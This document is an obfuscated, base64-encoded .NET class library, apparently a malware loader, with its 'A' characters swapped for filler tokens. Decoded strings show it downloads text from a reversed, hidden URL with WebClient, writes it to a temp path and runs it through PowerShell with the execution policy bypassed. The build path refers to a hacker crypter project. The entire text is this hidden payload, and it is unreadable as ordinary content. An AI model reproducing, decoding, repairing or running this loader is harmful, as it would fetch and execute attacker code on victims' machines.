g↓:↓C↓:↓Bkh↓:↓↓:↓↓:↓↓:↓↓:↓BYIoQik↓:↓QI↓:↓ICE↓:↓↓:↓↓:↓↓:↓↓:↓EwgyCKQB↓:↓g↓:↓nIQ↓:↓↓:↓↓:↓↓:↓↓:↓GGOEGBg↓:↓C↓:↓D↓:↓h↓:↓↓:↓↓:↓↓:↓↓:↓BY↓:↓XgCp↓:↓QI↓:↓CCM↓:↓↓:↓↓:↓↓:↓↓:↓EQDP↓:↓KM↓:↓BQ↓:↓QIw↓:↓↓:↓↓:↓↓:↓DG↓:↓lMI+g↓:↓G↓:↓B4j↓:↓↓:↓↓:↓↓:↓↓:↓MYCFQH/↓:↓↓:↓c↓:↓JiM↓:↓↓:↓↓:↓↓:↓↓:↓gwCL↓:↓b↓:↓BBw↓:↓yIw↓:↓↓:↓↓:↓↓:↓DG↓:↓o8Ekw↓:↓H↓:↓Dwj↓:↓↓:↓↓:↓↓:↓↓:↓BE↓:↓h↓:↓C1↓:↓Qc↓:↓XCM↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓QBw↓:↓L0BC↓:↓BlIw↓:↓↓:↓↓:↓↓:↓↓:↓GGOEGBg↓:↓J↓:↓H↓:↓j↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MI7↓:↓BK↓:↓↓:↓k↓:↓pCM↓:↓↓:↓↓:↓↓:↓↓:↓BhjhBgY↓:↓CQ↓:↓↓:↓↓:↓↓:↓E↓:↓TgQ↓:↓↓:↓↓:↓E↓:↓8↓:↓g↓:↓↓:↓↓:↓I↓:↓W↓:↓↓:↓↓:↓↓:↓↓:↓M↓:↓Ug↓:↓↓:↓↓:↓↓:↓E↓:↓9gg↓:↓↓:↓↓:↓E↓:↓3↓:↓U↓:↓↓:↓↓:↓E↓:↓D↓:↓E↓:↓↓:↓↓:↓E↓:↓D↓:↓EJ↓:↓OEG↓:↓Q↓:↓R↓:↓OEGBg↓:↓Z↓:↓OEGCg↓:↓p↓:↓OEGE↓:↓↓:↓x↓:↓OEGE↓:↓↓:↓5↓:↓OEGE↓:↓BB↓:↓OEGE↓:↓BJ↓:↓OEGE↓:↓BR↓:↓OEGE↓:↓BZ↓:↓OEGFQBh↓:↓OEGE↓:↓Bp↓:↓OEGE↓:↓Bx↓:↓OEGE↓:↓B5↓:↓OEGGgCJ↓:↓OEGI↓:↓Ch↓:↓OEGBgCp↓:↓OEGBgCx↓:↓OEGBgDJ↓:↓OEGJgDh↓:↓OEGE↓:↓Dp↓:↓OEGBgDx↓:↓OEGBgCR↓:↓OEGBgCZ↓:↓OEGBg↓:↓M↓:↓OEGBg↓:↓U↓:↓OEGBg↓:↓c↓:↓OEGBg↓:↓k↓:↓OEGBg↓:↓M↓:↓Ow↓:↓Sg↓:↓U↓:↓Ow↓:↓Sg↓:↓c↓:↓Ow↓:↓Sg↓:↓k↓:↓Ow↓:↓SgC5↓:↓EoITwDR↓:↓D8BVQDR↓:↓↓:↓0JXQD5↓:↓OEGYw↓:↓p↓:↓cI↓:↓aw↓:↓J↓:↓eEGBgC5↓:↓OEGBg↓:↓x↓:↓ZgEh↓:↓↓:↓5↓:↓X4Ii↓:↓BB↓:↓TsFjg↓:↓5↓:↓a0Gkw↓:↓5↓:↓VoIlwBJ↓:↓aQEn↓:↓↓:↓x↓:↓WIBow↓:↓x↓:↓W4Bi↓:↓BZ↓:↓VQEq↓:↓Bh↓:↓ccGrgBh↓:↓bUGtQBp↓:↓Q4FuQ↓:↓5↓:↓RoJw↓:↓B5↓:↓eEGBgCB↓:↓U↓:↓↓:↓wwB5↓:↓VkEyQB5↓:↓Y↓:↓E0↓:↓↓:↓5↓:↓SoFkw↓:↓5↓:↓dU↓:↓1QCJ↓:↓eMBBgCR↓:↓eEGE↓:↓B5↓:↓Y↓:↓E2wCB↓:↓SEBwwBZ↓:↓dkI4gCZ↓:↓QgF6wCp↓:↓esBowCx↓:↓UUE9QC5↓:↓FMI+gC5↓:↓BUB/wC5↓:↓I8EkwC5↓:↓d0↓:↓CwE0↓:↓OYIIgE8↓:↓DEESg↓:↓8↓:↓DsEOQE8↓:↓OEGBg↓:↓p↓:↓KM↓:↓5↓:↓Mu↓:↓↓:↓s↓:↓7gEu↓:↓BM↓:↓9wEu↓:↓Bs↓:↓FgIu↓:↓CM↓:↓HwIu↓:↓Cs↓:↓HwIu↓:↓DM↓:↓HwIu↓:↓Ds↓:↓HwIu↓:↓EM↓:↓JQIu↓:↓Es↓:↓HwIu↓:↓FM↓:↓HwIu↓:↓Fs↓:↓PQIu↓:↓GM↓:↓ZwIu↓:↓Gs↓:↓d↓:↓J↓:↓↓:↓IM↓:↓vgJ↓:↓↓:↓Hs↓:↓wwJD↓:↓HM↓:↓z↓:↓JD↓:↓Hs↓:↓wwJJ↓:↓KM↓:↓9QNj↓:↓HM↓:↓z↓:↓Jj↓:↓Hs↓:↓wwJp↓:↓KM↓:↓CQS↓:↓↓:↓IM↓:↓vgKD↓:↓Is↓:↓vgKD↓:↓JM↓:↓vgKD↓:↓HM↓:↓z↓:↓KJ↓:↓KM↓:↓FgSg↓:↓IM↓:↓vgKj↓:↓Is↓:↓vgKj↓:↓HM↓:↓5QKj↓:↓Ks↓:↓vgKj↓:↓LM↓:↓vgKj↓:↓JM↓:↓vgKp↓:↓Hs↓:↓FgL↓:↓↓:↓IM↓:↓vgLD↓:↓LM↓:↓vgLD↓:↓HM↓:↓JwPD↓:↓Hs↓:↓FgLJ↓:↓Hs↓:↓FgLg↓:↓IM↓:↓vgLj↓:↓Is↓:↓vgLj↓:↓JM↓:↓vgLj↓:↓Ks↓:↓vgLj↓:↓LM↓:↓vgIJ↓:↓aM↓:↓KgQj↓:↓Xs↓:↓wwIj↓:↓Zs↓:↓ggND↓:↓Xs↓:↓wwJD↓:↓VM↓:↓HwJ↓:↓↓:↓ns↓:↓wwJ↓:↓↓:↓oM↓:↓vgJg↓:↓ns↓:↓wwJg↓:↓oM↓:↓vgK↓:↓↓:↓ns↓:↓wwK↓:↓↓:↓oM↓:↓vgKg↓:↓ns↓:↓wwKg↓:↓oM↓:↓vgL↓:↓↓:↓oM↓:↓vgLg↓:↓oM↓:↓vgI↓:↓↓:↓4M↓:↓vgI↓:↓↓:↓3s↓:↓wwIg↓:↓4M↓:↓vgJ↓:↓↓:↓4M↓:↓vgJ↓:↓↓:↓3s↓:↓wwJ0↓:↓↓:↓MBFgEE↓:↓↓:↓E↓:↓BQ↓:↓F↓:↓↓:↓Y↓:↓Bw↓:↓H↓:↓↓:↓g↓:↓Cg↓:↓J↓:↓↓:↓↓:↓↓:↓p↓:↓bF↓:↓Q↓:↓↓:↓d↓:↓XK↓:↓Q↓:↓↓:↓k↓:↓bP↓:↓Q↓:↓↓:↓MQfU↓:↓Q↓:↓↓:↓U↓:↓bZ↓:↓Q↓:↓↓:↓swHe↓:↓Q↓:↓↓:↓pQjk↓:↓Q↓:↓↓:↓QQjk↓:↓Q↓:↓↓:↓8↓:↓Dp↓:↓QI↓:↓B↓:↓↓:↓D↓:↓↓:↓I↓:↓BQ↓:↓F↓:↓↓:↓I↓:↓Bg↓:↓H↓:↓↓:↓I↓:↓Bw↓:↓J↓:↓↓:↓I↓:↓C↓:↓↓:↓L↓:↓↓:↓I↓:↓CQ↓:↓N↓:↓↓:↓E↓:↓Cg↓:↓N↓:↓↓:↓I↓:↓DQ↓:↓P↓:↓↓:↓I↓:↓Dg↓:↓R↓:↓↓:↓I↓:↓GQ↓:↓T↓:↓C4↓:↓NQ↓:↓8↓:↓EM↓:↓C↓:↓Eb↓:↓SoBMQEEg↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓y↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓PwGj↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓/↓:↓SMF↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓o↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓EgBr↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓D5Bw↓:↓↓:↓CQ↓:↓E↓:↓↓:↓o↓:↓B↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓F↓:↓Bu↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓t↓:↓G4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C8↓:↓bgCN↓:↓BEBjQ↓:↓0↓:↓Q↓:↓↓:↓↓:↓ENvbnRleHRWYWx1ZW↓:↓x↓:↓FRocmVhZFNhZmVPYmplY3RQcm92aWRlcm↓:↓x↓:↓ENsYXNzMQBDbGFzc0xpYnJhcnkz↓:↓GdldF9VVEY4↓:↓DxNb2R1bGU+↓:↓FNab0JD↓:↓EZhVWRH↓:↓HByRlZJ↓:↓FN5c3RlbS5JTwBU↓:↓ERpc3Bvc2VfX0luc3RhbmNlX18↓:↓Q3JlYXRlX19JbnN0YW5jZV9f↓:↓FByb2plY3REYXRh↓:↓G1zY29ybGli↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYwBTeW5jaHJvbml6ZWQ↓:↓QVhTd2Q↓:↓UmVwbGFjZQBDcmVhdGVJbnN0YW5jZQBnZXRfR2V0SW5zdGFuY2U↓:↓ZGVmYXVsdEluc3RhbmNl↓:↓Gluc3RhbmNl↓:↓EdldEhhc2hDb2Rl↓:↓GdldF9Vbmljb2Rl↓:↓FJ1bnRpbWVUeXBlSGFuZGxl↓:↓EdldFR5cGVGcm9tSGFuZGxl↓:↓EZpbGU↓:↓QXBwV2luU3R5bGU↓:↓R2V0RmlsZU5hbWU↓:↓Q29tYmluZQBTZWN1cml0eVByb3RvY29sVHlwZQBHZXRUeXBl↓:↓GdldF9DdWx0dXJl↓:↓HNldF9DdWx0dXJl↓:↓HJlc291cmNlQ3VsdHVyZQBBcHBsaWNhdGlvbkJhc2U↓:↓QXBwbGljYXRpb25TZXR0aW5nc0Jhc2U↓:↓RGlzcG9zZQBTdHJSZXZlcnNl↓:↓EVkaXRvckJyb3dzYWJsZVN0YXRl↓:↓ENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRl↓:↓Ed1aWRBdHRyaWJ1dGU↓:↓SGVscEtleXdvcmRBdHRyaWJ1dGU↓:↓R2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRl↓:↓ERlYnVnZ2FibGVBdHRyaWJ1dGU↓:↓RWRpdG9yQnJvd3NhYmxlQXR0cmlidXRl↓:↓ENvbVZpc2libGVBdHRyaWJ1dGU↓:↓QXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBIaWRlTW9kdWxlTmFtZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGU↓:↓RGVidWdnZXJIaWRkZW5BdHRyaWJ1dGU↓:↓QXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBNeUdyb3VwQ29sbGVjdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRl↓:↓ENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGU↓:↓QXNzZW1ibHlQcm9kdWN0QXR0cmlidXRl↓:↓EFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRl↓:↓EFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBnZXRfVmFsdWU↓:↓c2V0X1ZhbHVl↓:↓EdldE9iamVjdFZhbHVl↓:↓E1vdmU↓:↓c2V0X0VuY29kaW5n↓:↓FN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmc↓:↓RG93bmxvYWRTdHJpbmc↓:↓VG9TdHJpbmc↓:↓R2V0VGVtcFBhdGg↓:↓R2V0Rm9sZGVyUGF0a↓:↓BVcmk↓:↓TWljcm9zb2Z0LlZpc3VhbEJhc2ljLk15U2VydmljZXMuSW50ZXJuYWw↓:↓U3lzdGVtLkNvbXBvbmVudE1vZGVs↓:↓ENsYXNzTGlicmFyeTMuZGxs↓:↓FNoZWxs↓:↓HNldF9TZWN1cml0eVByb3RvY29s↓:↓FN5c3RlbQBUcmlt↓:↓HJlc291cmNlTWFu↓:↓FRvQm9vbGVhbgBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWdu↓:↓GdldF9BcHBsaWNhdGlvbgBNeUFwcGxpY2F0aW9u↓:↓FN5c3RlbS5Db25maWd1cmF0aW9u↓:↓FN5c3RlbS5HbG9iYWxpemF0aW9u↓:↓EludGVyYWN0aW9u↓:↓FN5c3RlbS5SZWZsZWN0aW9u↓:↓EV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBtX0FwcE9iamVjdFByb3ZpZGVy↓:↓G1fVXNlck9iamVjdFByb3ZpZGVy↓:↓G1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBtX015V2ViU2VydmljZXNPYmplY3RQcm92aWRlcgBTcGVjaWFsRm9sZGVy↓:↓GdldF9SZXNvdXJjZU1hbmFnZXI↓:↓U2VydmljZVBvaW50TWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBnZXRfQ29tcHV0ZXI↓:↓TXlDb21wdXRlcgBUb0xvd2Vy↓:↓ENsZWFyUHJvamVjdEVycm9y↓:↓FNldFByb2plY3RFcnJvcgBBY3RpdmF0b3I↓:↓LmN0b3I↓:↓LmNjdG9y↓:↓FN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXM↓:↓TXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM↓:↓TWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXM↓:↓U3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2Vz↓:↓ENsYXNzTGlicmFyeTMuTXkuUmVzb3VyY2Vz↓:↓ENsYXNzTGlicmFyeTMuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBTdHJpbmdz↓:↓GdldF9TZXR0aW5ncwBNeVNldHRpbmdz↓:↓FJlZmVyZW5jZUVxdWFscwBDb250YWlucwBDb252ZXJzaW9ucwBSdW50aW1lSGVscGVycwBDb25jYXQ↓:↓T2JqZWN0↓:↓E15UHJvamVjd↓:↓BTeXN0ZW0uTmV0↓:↓GdldF9EZWZhdWx0↓:↓FdlYkNsaWVud↓:↓BFbnZpcm9ubWVud↓:↓BDb21wb25lbnQ↓:↓U3lzdGVtLlRleHQ↓:↓V3JpdGVBbGxUZXh0↓:↓G1fQ29udGV4d↓:↓Bua0dNdgBBdmJFdwBDbGFzc0xpYnJhcnkzLk15↓:↓GdldF9Bc3NlbWJseQBFbXB0eQBNeVNldHRpbmdzUHJvcGVydHk↓:↓↓:↓↓:↓↓:↓vQwBs↓:↓GE↓:↓cwBz↓:↓Ew↓:↓aQBi↓:↓HI↓:↓YQBy↓:↓Hk↓:↓Mw↓:↓u↓:↓FI↓:↓ZQBz↓:↓G8↓:↓dQBy↓:↓GM↓:↓ZQBz↓:↓↓:↓↓:↓Le↓:↓↓:↓u↓:↓H↓:↓↓:↓cw↓:↓x↓:↓↓:↓BzcgBj↓:↓DE↓:↓Mg↓:↓1↓:↓GQ↓:↓LwB1↓:↓HI↓:↓LgB6↓:↓HY↓:↓MwBi↓:↓HQ↓:↓b↓:↓Bu↓:↓GI↓:↓dg↓:↓1↓:↓Hc↓:↓eQBn↓:↓D↓:↓↓:↓MgBi↓:↓Hk↓:↓egBn↓:↓Gk↓:↓d↓:↓Bm↓:↓Gc↓:↓aQBw↓:↓GI↓:↓cwBk↓:↓HY↓:↓b↓:↓Bo↓:↓Gk↓:↓cgBu↓:↓Hc↓:↓eQBv↓:↓GI↓:↓cwBh↓:↓C8↓:↓Lw↓:↓6↓:↓H↓:↓↓:↓d↓:↓B0↓:↓Gg↓:↓↓:↓↓:↓eTITo↓:↓kyEB↓:↓0E↓:↓↓:↓Htz↓:↓Hc↓:↓cgBl↓:↓DI↓:↓YQ↓:↓v↓:↓GQ↓:↓cwBh↓:↓C8↓:↓dQBy↓:↓C4↓:↓egB2↓:↓DM↓:↓YgB0↓:↓Gw↓:↓bgBi↓:↓HY↓:↓NQB3↓:↓Hk↓:↓Zw↓:↓w↓:↓DI↓:↓YgB5↓:↓Ho↓:↓ZwBp↓:↓HQ↓:↓ZgBn↓:↓Gk↓:↓c↓:↓Bi↓:↓HM↓:↓Z↓:↓B2↓:↓Gw↓:↓a↓:↓Bp↓:↓HI↓:↓bgB3↓:↓Hk↓:↓bwBi↓:↓HM↓:↓YQ↓:↓v↓:↓C8↓:↓OgBw↓:↓HQ↓:↓d↓:↓Bo↓:↓↓:↓↓:↓PJQBu↓:↓Gs↓:↓RwBN↓:↓HY↓:↓JQ↓:↓↓:↓DyU↓:↓cQBs↓:↓Hg↓:↓SwBQ↓:↓CU↓:↓↓:↓ICZc↓:↓Bv↓:↓Hc↓:↓ZQBy↓:↓HM↓:↓a↓:↓Bl↓:↓Gw↓:↓b↓:↓↓:↓u↓:↓GU↓:↓e↓:↓Bl↓:↓C↓:↓↓:↓UwBl↓:↓HQ↓:↓LQBF↓:↓Hg↓:↓ZQBj↓:↓HU↓:↓d↓:↓Bp↓:↓G8↓:↓bgBQ↓:↓G8↓:↓b↓:↓Bp↓:↓GM↓:↓eQ↓:↓g↓:↓EI↓:↓eQBw↓:↓GE↓:↓cwBz↓:↓C↓:↓↓:↓LQBT↓:↓GM↓:↓bwBw↓:↓GU↓:↓I↓:↓BQ↓:↓HI↓:↓bwBj↓:↓GU↓:↓cwBz↓:↓C↓:↓↓:↓Ow↓:↓g↓:↓H↓:↓↓:↓bwB3↓:↓GU↓:↓cgBz↓:↓Gg↓:↓ZQBs↓:↓Gw↓:↓I↓:↓↓:↓t↓:↓GY↓:↓aQBs↓:↓GU↓:↓I↓:↓↓:↓B2541oOaqvUmbdo3jBMKsug↓:↓EI↓:↓EBC↓:↓Mg↓:↓↓:↓EFI↓:↓EBEREEI↓:↓EBDgQg↓:↓QECBS↓:↓C↓:↓Q4OBS↓:↓B↓:↓RFBBy↓:↓E↓:↓Q4ODg4GFRIo↓:↓RIMBhUSK↓:↓ESC↓:↓YVEigBEmEGFRIo↓:↓RIkBC↓:↓↓:↓Ew↓:↓F↓:↓↓:↓ICHBwH↓:↓↓:↓ESaRG↓:↓jQUg↓:↓BK↓:↓kQcg↓:↓gEOEoCRC↓:↓↓:↓BEoCVEoCVDwcJDgIOEoCJDg4ODhK↓:↓iQM↓:↓↓:↓↓:↓4F↓:↓↓:↓IODg4E↓:↓↓:↓ECDgMg↓:↓↓:↓4EI↓:↓ECDgY↓:↓↓:↓Q4RgKkE↓:↓↓:↓EODgU↓:↓↓:↓gEODgY↓:↓↓:↓QESgIkD↓:↓↓:↓↓:↓BBg↓:↓B↓:↓RG↓:↓uQIGDgU↓:↓↓:↓BK↓:↓wQYg↓:↓QESgMEEI↓:↓EODgUg↓:↓g4ODgYg↓:↓Q4SgMkI↓:↓↓:↓MBDg4SgMEJ↓:↓↓:↓QIDhG↓:↓0QIIB↓:↓↓:↓BHBwEI↓:↓ECH↓:↓Mg↓:↓↓:↓gEBwEe↓:↓↓:↓Ie↓:↓↓:↓UQ↓:↓Q↓:↓e↓:↓↓:↓QK↓:↓R4↓:↓B↓:↓cBEw↓:↓GFRIo↓:↓RM↓:↓BwYVEm0BEw↓:↓GFRJt↓:↓RM↓:↓↓:↓hM↓:↓B↓:↓oBEw↓:↓FI↓:↓EBEw↓:↓It3pcVhk04IkIsD9ffxHVCjoHBhUSK↓:↓ESD↓:↓cGFRIo↓:↓RIIBwYVEigBEmEHBhUSK↓:↓ESJ↓:↓MGEn0EBhK↓:↓gQMGEhgE↓:↓↓:↓↓:↓SD↓:↓Q↓:↓↓:↓BIIB↓:↓↓:↓↓:↓EmEE↓:↓↓:↓↓:↓SJ↓:↓Q↓:↓↓:↓BJ9BQ↓:↓↓:↓EoCBBg↓:↓B↓:↓RK↓:↓gQQ↓:↓↓:↓BIYBg↓:↓D↓:↓Q4ODgQg↓:↓BJpBx↓:↓B↓:↓R4↓:↓Hg↓:↓HM↓:↓EB↓:↓R↓:↓e↓:↓↓:↓QI↓:↓BIMB↓:↓g↓:↓EggEC↓:↓↓:↓SYQQI↓:↓BIkB↓:↓g↓:↓En0FC↓:↓↓:↓SgIEEC↓:↓↓:↓SG↓:↓Qo↓:↓BM↓:↓C↓:↓E↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓HgE↓:↓↓:↓QBU↓:↓hZXcmFwTm9uRXhjZXB0aW9uVGhyb3dz↓:↓QgB↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓UB↓:↓↓:↓↓:↓↓:↓↓:↓BcB↓:↓BJDb3B5cmlnaHQgwqkgIDIwMjI↓:↓↓:↓CkB↓:↓CQxQjQxRDRENC1EQkQ0LTQ1NEEtQjZBNC0xOEQ4MUM0MTkzRT↓:↓↓:↓↓:↓↓:↓wB↓:↓↓:↓cxLj↓:↓uMC4w↓:↓↓:↓BJ↓:↓Q↓:↓aLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUB↓:↓FQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lEi5ORVQgRnJhbWV3b3JrIDQuNQQB↓:↓↓:↓↓:↓↓:↓C↓:↓E↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓E↓:↓Ck15VGVtcGxhdGUIMTEuMC4wLj↓:↓↓:↓↓:↓EEB↓:↓DNTeXN0ZW0uUmVzb3VyY2VzLlRvb2xzLlN0cm9uZ2x5VHlwZWRSZXNvdXJjZUJ1aWxkZXIIMTYuMC4wLj↓:↓↓:↓↓:↓FoB↓:↓EtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IJMTYuMT↓:↓uMC4w↓:↓↓:↓Bh↓:↓Q↓:↓0U3lzdGVtLldlYi5TZXJ2aWNlcy5Qcm90b2NvbHMuU29hcEh0dHBDbGllbnRQcm90b2NvbBJDcmVhdGVfX0luc3RhbmNlX18TRGlzcG9zZV9fSW5zdGFuY2VfXw↓:↓↓:↓↓:↓B↓:↓B↓:↓↓:↓tNeS5Db21wdXRlcg↓:↓↓:↓EwE↓:↓Dk15LkFwcGxpY2F0aW9u↓:↓↓:↓↓:↓M↓:↓Q↓:↓HTXkuVXNlcg↓:↓↓:↓EwE↓:↓Dk15LldlYlNlcnZpY2Vz↓:↓↓:↓↓:↓Q↓:↓Q↓:↓LTXkuU2V0dGluZ3M↓:↓↓:↓↓:↓C0↓:↓↓:↓↓:↓↓:↓zsrvvgE↓:↓↓:↓↓:↓CR↓:↓↓:↓↓:↓↓:↓bFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLj↓:↓sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZT↓:↓4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNld↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓FBBRFBBRFC0↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓INO4r4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓Io↓:↓↓:↓↓:↓D4P↓:↓↓:↓↓:↓+B4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BSU0RTcJDtD↓:↓HCe0iMhltKt03JpQE↓:↓↓:↓↓:↓BEOlxFeHRlcm5cVk1zXEhhY2tlclwyMDIzXFNvcnVjZVxTb3VyY2VcVXBDcnlcTWV0b2RvIERGXENsYXNzTGlicmFyeTNcQ2xhc3NMaWJyYXJ5M1xvYmpcUmVsZWFzZVxDbGFzc0xpYnJhcnkzLnBkYgCqPQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓DEPQ↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓tj0↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BfQ29yRGxsTWFpbgBtc2NvcmVlLmRsb↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D/JQ↓:↓g↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓E↓:↓↓:↓↓:↓↓:↓Bg↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓Q↓:↓↓:↓↓:↓D↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓BYQ↓:↓↓:↓↓:↓D↓:↓M↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D↓:↓M0↓:↓↓:↓↓:↓↓:↓VgBT↓:↓F8↓:↓VgBF↓:↓FI↓:↓UwBJ↓:↓E8↓:↓TgBf↓:↓Ek↓:↓TgBG↓:↓E8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓L0E7/4↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓D8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BE↓:↓↓:↓↓:↓↓:↓↓:↓QBW↓:↓GE↓:↓cgBG↓:↓Gk↓:↓b↓:↓Bl↓:↓Ek↓:↓bgBm↓:↓G8↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CQ↓:↓B↓:↓↓:↓↓:↓↓:↓FQ↓:↓cgBh↓:↓G4↓:↓cwBs↓:↓GE↓:↓d↓:↓Bp↓:↓G8↓:↓bg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CwBGwC↓:↓↓:↓↓:↓B↓:↓FM↓:↓d↓:↓By↓:↓Gk↓:↓bgBn↓:↓EY↓:↓aQBs↓:↓GU↓:↓SQBu↓:↓GY↓:↓bw↓:↓↓:↓↓:↓EgC↓:↓↓:↓↓:↓B↓:↓D↓:↓↓:↓M↓:↓↓:↓w↓:↓D↓:↓↓:↓M↓:↓↓:↓0↓:↓GI↓:↓M↓:↓↓:↓↓:↓↓:↓B